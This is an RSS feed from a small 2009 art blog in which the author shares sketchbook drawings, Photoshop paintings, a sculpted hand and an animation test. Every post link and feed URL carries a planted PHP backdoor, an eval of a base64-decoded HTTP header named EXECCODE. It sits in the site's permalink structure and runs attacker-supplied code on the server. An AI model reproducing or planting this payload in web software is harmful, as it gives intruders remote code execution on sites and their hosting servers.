Never Erase http://www.nevererase.com A Blog for artwork that is made in sketchbooks, on canvas, under camera or on your hard drive. Just Never Erase paul(at)nevererase(dot)com Sat, 30 May 2009 22:46:14 +0000 http://wordpress.org/?v=2.2.2 en Quincy Jones http://www.nevererase.com/2009/05/30/quincy-jones/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/05/30/quincy-jones/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 30 May 2009 22:41:09 +0000 paul http://www.nevererase.com/?p=149 Quincy Jones is a cool cat. Saw him on BET with Chuck D. He has a lot of heart and it was nice to watch the interview and do a drawing. I actually found this in a sketchbook that I had totally forgotten about. Looked through it and found a bunch of stuff I has also forgotten. Will post some more sometime soon.

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]]> http://www.nevererase.com/2009/05/30/quincy-jones/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Ninja Animation Test http://www.nevererase.com/2009/04/30/ninja-animation-test/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/04/30/ninja-animation-test/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 01 May 2009 02:59:48 +0000 paul http://www.nevererase.com/?p=147

http://www.vimeo.com/4418199

This is a little animation test I did at work recently.

]]> http://www.nevererase.com/2009/04/30/ninja-animation-test/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Last Nights Drawing http://www.nevererase.com/2009/04/10/last-nights-drawing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/04/10/last-nights-drawing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 11 Apr 2009 04:09:10 +0000 paul http://www.nevererase.com/?p=138 Last Nights Drawing. He may be part of a bigger project… I’m not sure yet.  Click on him to have a closer look.

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]]> http://www.nevererase.com/2009/04/10/last-nights-drawing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Tonights Drawing Experiment http://www.nevererase.com/2009/04/08/tonights-drawing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/04/08/tonights-drawing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 09 Apr 2009 06:33:45 +0000 paul http://www.nevererase.com/?p=134 The first drawing took about forty five minutes and was done my usual way of sketching it out…. and then roughing in the value. Later in the evening I drew the second one from the first one but going about it in a totally different way. I didn’t  sketch at all I just went right for the value and forced myself to go fast. It was done in half the time. The second is not necessarily supposed to look just like the first. I was hoping that I would get something interesting out of it… not sure I did.  It’s not nearly as precise but I had fun doing it and when I experiment more I’ll post the results.

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]]> http://www.nevererase.com/2009/04/08/tonights-drawing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ New Hand of Paul http://www.nevererase.com/2009/03/31/new-hand-of-paul/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/03/31/new-hand-of-paul/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Apr 2009 03:59:27 +0000 paul http://www.nevererase.com/?p=130 A while back I had a friend tell me that someone he respected told him that he liked my models but that I should focus on the stronger work. He specifically said that I should ditch the hand from a very early post on this blog.  So I went back and looked at it and when you’re right…. you’re right! That was one of my earliest sculpts and looking at it today it shows.

So I did a new one!     …and posed it this time!

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(scroll down to the bottom and click over to the next page to see the aforementioned  older hand )

]]> http://www.nevererase.com/2009/03/31/new-hand-of-paul/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Cornell West Sketch http://www.nevererase.com/2009/03/21/cornell-west-sketch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/03/21/cornell-west-sketch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 21 Mar 2009 10:59:41 +0000 paul http://www.nevererase.com/?p=129 Got out of work.  Went out.  Hung out with a cool girl and some dumb guys.  Drank slightly too much.  Came home.  Crashed Out. Woke up three hours later.  Decided sleep was lame,  and drew Cornell West.

Yeah doesn’t make a lot of sense to me either but it was a nice ending to a week that kind of sucked. Excited about tomorrow.

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This is just quick sketch done very quickly. I really like Cornell. He makes me want to do more with myself. Click on it.

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]]> http://www.nevererase.com/2009/03/17/mae-murray/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Quick Sketchbook Drawings http://www.nevererase.com/2009/03/16/quick-sketchbook-drawings/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/03/16/quick-sketchbook-drawings/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 17 Mar 2009 05:53:40 +0000 paul http://www.nevererase.com/?p=125 These are some old drawings from a sketchbook I carry around with me. Most of these were done in bars, resteraunts , etc. They are very quick and unrefined but I kind of like them. These are my favorites from that particular book. I have a whole bunch of others though and I’ll post some more drawings as I scan them in.

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]]> http://www.nevererase.com/2009/01/25/another-soldier-painting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Blurry Woman http://www.nevererase.com/2009/01/08/blurry-woman/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.nevererase.com/2009/01/08/blurry-woman/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 09 Jan 2009 01:05:16 +0000 paul http://www.nevererase.com/?p=111 I painted this at home a week or two before Christmas. I referenced part of it and then just painted away once I got the basic sketch in. Done entirely in Photoshop I tried to keep her really loose and just kind of infer shapes in her hair and legs. This kind of stuff is like therapy for me, and very different from what I’m asked to create at work. Comments and critique of any kind, are welcome as always.

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